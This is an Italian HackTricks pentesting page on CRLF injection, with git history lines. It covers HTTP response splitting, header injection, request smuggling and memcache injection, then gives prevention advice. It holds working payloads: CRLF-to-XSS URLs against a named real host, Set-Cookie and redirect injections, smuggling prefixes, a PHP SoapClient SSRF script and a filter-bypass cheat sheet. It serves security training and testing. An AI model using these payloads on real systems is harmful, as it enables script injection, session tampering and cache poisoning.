hacktricks/pentesting-web/crlf-0d-0a.md

241 lines
16 KiB
Markdown
Raw Normal View History

2024-02-10 13:03:23 +00:00
# Iniezione CRLF (%0D%0A)
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2023-12-31 01:25:17 +00:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
2022-05-24 00:07:19 +00:00
2024-02-10 13:03:23 +00:00
Se sei interessato a una **carriera nell'hacking** e vuoi hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, scritta e parlata_).
2022-04-28 16:01:33 +00:00
2022-05-24 00:07:19 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2024-02-05 20:00:40 +00:00
### CRLF
2024-02-10 13:03:23 +00:00
Carriage Return (CR) e Line Feed (LF), collettivamente noti come CRLF, sono sequenze di caratteri speciali utilizzate nel protocollo HTTP per indicare la fine di una riga o l'inizio di una nuova. I server web e i browser utilizzano CRLF per distinguere tra gli header HTTP e il corpo di una risposta. Questi caratteri sono universalmente utilizzati nelle comunicazioni HTTP/1.1 tra vari tipi di server web, come Apache e Microsoft IIS.
2024-02-10 13:03:23 +00:00
### Vulnerabilità di Iniezione CRLF
2024-02-10 13:03:23 +00:00
L'iniezione CRLF comporta l'inserimento dei caratteri CR e LF in un input fornito dall'utente. Questa azione inganna il server, l'applicazione o l'utente facendo interpretare la sequenza iniettata come la fine di una risposta e l'inizio di un'altra. Sebbene questi caratteri non siano intrinsecamente dannosi, il loro uso improprio può portare a divisione delle risposte HTTP e ad altre attività malevole.
2024-02-10 13:03:23 +00:00
### Esempio: Iniezione CRLF in un file di log
2024-02-10 13:03:23 +00:00
[Esempio da qui](https://www.invicti.com/blog/web-security/crlf-http-header/)
2024-02-10 13:03:23 +00:00
Considera un file di log in un pannello di amministrazione che segue il formato: `IP - Ora - Percorso Visitato`. Una voce tipica potrebbe apparire come:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
2024-02-10 13:03:23 +00:00
Un attaccante può sfruttare un'iniezione CRLF per manipolare questo registro. Iniettando caratteri CRLF nella richiesta HTTP, l'attaccante può alterare il flusso di output e creare voci di registro false. Ad esempio, una sequenza iniettata potrebbe trasformare la voce di registro in:
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
2024-02-10 13:03:23 +00:00
Qui, `%0d` e `%0a` rappresentano le forme URL-encoded di CR e LF. Dopo l'attacco, il registro mostrerà in modo fuorviante:
2024-02-05 20:00:40 +00:00
```
IP - Time - Visited Path
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
2024-02-10 13:03:23 +00:00
L'attaccante nasconde così le sue attività malevole facendo apparire come se il localhost (un'entità tipicamente fidata nell'ambiente del server) avesse eseguito le azioni. Il server interpreta la parte della query che inizia con `%0d%0a` come un singolo parametro, mentre il parametro `restrictedaction` viene analizzato come un altro input separato. La query manipolata imita efficacemente un comando amministrativo legittimo: `/index.php?page=home&restrictedaction=edit`
2022-05-24 00:07:19 +00:00
### HTTP Response Splitting
2024-02-10 13:03:23 +00:00
#### Descrizione
2024-02-10 13:03:23 +00:00
HTTP Response Splitting è una vulnerabilità di sicurezza che si verifica quando un attaccante sfrutta la struttura delle risposte HTTP. Questa struttura separa gli header dal corpo utilizzando una sequenza di caratteri specifica, Carriage Return (CR) seguito da Line Feed (LF), collettivamente chiamata CRLF. Se un attaccante riesce a inserire una sequenza CRLF in un header di risposta, può manipolare efficacemente il contenuto della risposta successiva. Questo tipo di manipolazione può causare gravi problemi di sicurezza, in particolare Cross-site Scripting (XSS).
2024-02-10 13:03:23 +00:00
#### XSS attraverso HTTP Response Splitting
2024-02-10 13:03:23 +00:00
1. L'applicazione imposta un header personalizzato come questo: `X-Custom-Header: UserInput`
2. L'applicazione recupera il valore per `UserInput` da un parametro di query, ad esempio "user_input". In scenari privi di una corretta convalida e codifica dell'input, un attaccante può creare un payload che include la sequenza CRLF, seguita da un contenuto maligno.
3. Un attaccante crea un URL con un 'user_input' appositamente creato: `?user_input=Value%0d%0a%0d%0a<script>alert('XSS')</script>`
- In questo URL, `%0d%0a%0d%0a` è la forma URL-encoded di CRLFCRLF. Inganna il server facendogli inserire una sequenza CRLF, facendo sì che il server tratti la parte successiva come il corpo della risposta.
4. Il server riflette l'input dell'attaccante nell'header di risposta, portando a una struttura di risposta non intenzionale in cui lo script maligno viene interpretato dal browser come parte del corpo della risposta.
2024-02-10 13:03:23 +00:00
#### Un esempio di HTTP Response Splitting che porta a un reindirizzamento
2024-02-10 13:03:23 +00:00
Da [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62)
2024-02-10 13:03:23 +00:00
Browser a:
```
/%0d%0aLocation:%20http://myweb.com
```
2024-02-10 13:03:23 +00:00
E il server risponde con l'intestazione:
```
Location: http://myweb.com
```
2024-02-10 13:03:23 +00:00
**Altro esempio: (da** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
2024-02-10 13:03:23 +00:00
#### Nel percorso URL
2024-02-10 13:03:23 +00:00
Puoi inviare il payload **all'interno del percorso URL** per controllare la **risposta** del server (esempio da [qui](https://hackerone.com/reports/192667)):
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
2024-02-10 13:03:23 +00:00
Controlla altri esempi su:
2024-02-05 20:00:40 +00:00
2021-04-17 15:19:39 +00:00
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
2024-02-10 13:03:23 +00:00
### Iniezione di Intestazione HTTP
2021-04-17 15:20:44 +00:00
2024-02-10 13:03:23 +00:00
L'iniezione di intestazione HTTP, spesso sfruttata tramite l'iniezione di CRLF (Carriage Return and Line Feed), consente agli attaccanti di inserire intestazioni HTTP. Ciò può compromettere meccanismi di sicurezza come i filtri XSS (Cross-Site Scripting) o la SOP (Same-Origin Policy), portando potenzialmente a un accesso non autorizzato a dati sensibili, come i token CSRF, o alla manipolazione delle sessioni utente tramite l'inserimento di cookie.
2021-04-17 15:20:44 +00:00
2024-02-10 13:03:23 +00:00
#### Sfruttare CORS tramite l'iniezione di intestazione HTTP
2021-04-17 15:20:44 +00:00
2024-02-10 13:03:23 +00:00
Un attaccante può iniettare intestazioni HTTP per abilitare CORS (Cross-Origin Resource Sharing), eludendo le restrizioni imposte dalla SOP. Questa violazione consente a script provenienti da origini maligne di interagire con risorse provenienti da un'origine diversa, potenzialmente accedendo a dati protetti.
2021-04-17 15:20:44 +00:00
2024-02-10 13:03:23 +00:00
#### SSRF e Iniezione di Richiesta HTTP tramite CRLF
2021-04-17 15:19:39 +00:00
2024-02-10 13:03:23 +00:00
L'iniezione di CRLF può essere utilizzata per creare e iniettare una nuova richiesta HTTP. Un esempio notevole di ciò è la vulnerabilità nella classe `SoapClient` di PHP, specificamente nel parametro `user_agent`. Manipolando questo parametro, un attaccante può inserire intestazioni aggiuntive e contenuto del corpo, o addirittura iniettare completamente una nuova richiesta HTTP. Di seguito è riportato un esempio in PHP che dimostra questa forma di sfruttamento:
2021-04-17 15:19:39 +00:00
```php
2024-02-10 13:03:23 +00:00
$target = 'http://127.0.0.1:9090/test';
2021-04-17 15:19:39 +00:00
$post_string = 'variable=post value';
$crlf = array(
2024-02-10 13:03:23 +00:00
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
2021-04-17 15:19:39 +00:00
);
$client = new SoapClient(null,
2024-02-10 13:03:23 +00:00
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
2021-04-17 15:19:39 +00:00
);
2024-02-05 20:00:40 +00:00
# Put a netcat listener on port 9090
2021-04-17 15:19:39 +00:00
$client->__soapCall("test", []);
```
2024-02-10 13:03:23 +00:00
### Iniezione di Header per Request Smuggling
2024-02-10 13:03:23 +00:00
Per ulteriori informazioni su questa tecnica e potenziali problemi, [**controlla la fonte originale**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning).
2022-10-05 09:28:25 +00:00
2024-02-10 13:03:23 +00:00
Puoi iniettare header essenziali per assicurarti che il **back-end mantenga la connessione aperta** dopo aver risposto alla richiesta iniziale:
2022-10-05 09:28:25 +00:00
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
2024-02-10 13:03:23 +00:00
Successivamente, è possibile specificare una seconda richiesta. Questo scenario coinvolge tipicamente [HTTP request smuggling](http-request-smuggling/), una tecnica in cui gli header extra o gli elementi del corpo aggiunti dal server post-iniezione possono portare a varie vulnerabilità di sicurezza.
2022-10-05 09:28:25 +00:00
2024-02-10 13:03:23 +00:00
**Sfruttamento:**
2022-10-05 09:28:25 +00:00
2024-02-10 13:03:23 +00:00
1. **Iniezione di prefisso maligno**: Questo metodo prevede l'inserimento di un prefisso maligno nella richiesta successiva dell'utente o nella cache web. Un esempio di ciò è:
2022-10-05 09:28:25 +00:00
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
2024-02-10 13:03:23 +00:00
2. **Creazione di un prefisso per l'iniezione nella coda di risposta**: Questo approccio prevede la creazione di un prefisso che, combinato con dati inutili alla fine, forma una seconda richiesta completa. Ciò può innescare l'iniezione nella coda di risposta. Un esempio è:
2022-10-05 09:28:25 +00:00
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
2024-02-10 13:03:23 +00:00
### Iniezione di Memcache
2023-02-16 13:29:30 +00:00
2024-02-10 13:03:23 +00:00
Memcache è un **archivio chiave-valore che utilizza un protocollo in testo chiaro**. Maggiori informazioni su:
2023-02-16 13:29:30 +00:00
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
2024-02-10 13:03:23 +00:00
**Per tutte le informazioni complete leggi il**[ **documento originale**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)
2024-02-05 20:00:40 +00:00
2024-02-10 13:03:23 +00:00
Se una piattaforma **prende dati da una richiesta HTTP e li utilizza senza sanificazione** per eseguire **richieste** a un server **memcache**, un attaccante potrebbe sfruttare questo comportamento per **iniettare nuovi comandi memcache**.
2023-02-16 13:29:30 +00:00
2024-02-10 13:03:23 +00:00
Ad esempio, nella vulnerabilità originale scoperta, le chiavi della cache venivano utilizzate per restituire l'indirizzo IP e la porta a cui un utente doveva connettersi, e gli attaccanti erano in grado di **iniettare comandi memcache** che avrebbero **avvelenato** la **cache per inviare i dettagli delle vittime** (compresi nomi utente e password) ai server degli attaccanti:
2023-02-16 13:29:30 +00:00
2024-02-05 20:00:40 +00:00
<figure><img src="../.gitbook/assets/image (6) (1) (4).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop"><figcaption></figcaption></figure>
2023-02-16 13:29:30 +00:00
2024-02-10 13:03:23 +00:00
Inoltre, i ricercatori hanno scoperto che potevano desincronizzare le risposte di memcache per inviare agli utenti, di cui l'attaccante non conosceva l'email, l'indirizzo IP e le porte degli attaccanti:
2023-02-16 13:29:30 +00:00
2024-02-05 20:00:40 +00:00
<figure><img src="../.gitbook/assets/image (40).png" alt="https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop"><figcaption></figcaption></figure>
2024-02-10 13:03:23 +00:00
### Come prevenire le Iniezioni CRLF / HTTP Header nelle Applicazioni Web
2024-02-10 13:03:23 +00:00
Per mitigare i rischi di Iniezioni CRLF (Carriage Return and Line Feed) o HTTP Header nelle applicazioni web, si raccomandano le seguenti strategie:
2023-02-16 13:29:30 +00:00
2024-02-10 13:03:23 +00:00
1. **Evitare l'Inserimento Diretto di Input Utente negli Header di Risposta:**
L'approccio più sicuro è evitare di incorporare direttamente l'input fornito dall'utente negli header di risposta.
2024-02-10 13:03:23 +00:00
2. **Codificare i Caratteri Speciali:**
Se non è possibile evitare l'inserimento diretto dell'input utente, assicurarsi di utilizzare una funzione dedicata alla codifica dei caratteri speciali come CR (Carriage Return) e LF (Line Feed). Questa pratica impedisce la possibilità di iniezione CRLF.
2024-02-10 13:03:23 +00:00
3. **Aggiornare il Linguaggio di Programmazione:**
Aggiornare regolarmente il linguaggio di programmazione utilizzato nelle applicazioni web all'ultima versione. Optare per una versione che impedisca intrinsecamente l'iniezione dei caratteri CR e LF all'interno delle funzioni incaricate di impostare gli header HTTP.
2024-02-10 13:03:23 +00:00
### CHEAT SHEET
2024-02-05 20:00:40 +00:00
2024-02-10 13:03:23 +00:00
[Cheatsheet da qui](https://twitter.com/NinadMishra5/status/1650080604174667777)
```
1. HTTP Response Splitting
2021-06-23 17:08:03 +00:00
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
2024-02-10 13:03:23 +00:00
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
2024-02-10 13:03:23 +00:00
## Strumenti Automatici
2020-09-11 09:44:53 +00:00
* [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite)
* [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz)
2020-09-11 09:44:53 +00:00
2024-02-10 13:03:23 +00:00
## Elenco di Rilevamento Brute-Force
2021-06-27 21:56:13 +00:00
* [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt)
2021-06-27 21:56:13 +00:00
2024-02-10 13:03:23 +00:00
## Riferimenti
2024-02-05 20:00:40 +00:00
* [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/)
2022-04-05 22:24:52 +00:00
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
2023-02-16 13:29:30 +00:00
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
2024-02-05 20:00:40 +00:00
* [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
2022-04-28 16:01:33 +00:00
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
2022-05-24 00:07:19 +00:00
2024-02-10 13:03:23 +00:00
Se sei interessato a una **carriera di hacking** e a violare l'invulnerabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, scritta e parlata_).
2022-05-24 00:07:19 +00:00
{% embed url="https://www.stmcyber.com/careers" %}
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 13:03:23 +00:00
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
Altri modi per supportare HackTricks:
2023-12-31 01:25:17 +00:00
2024-02-10 13:03:23 +00:00
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>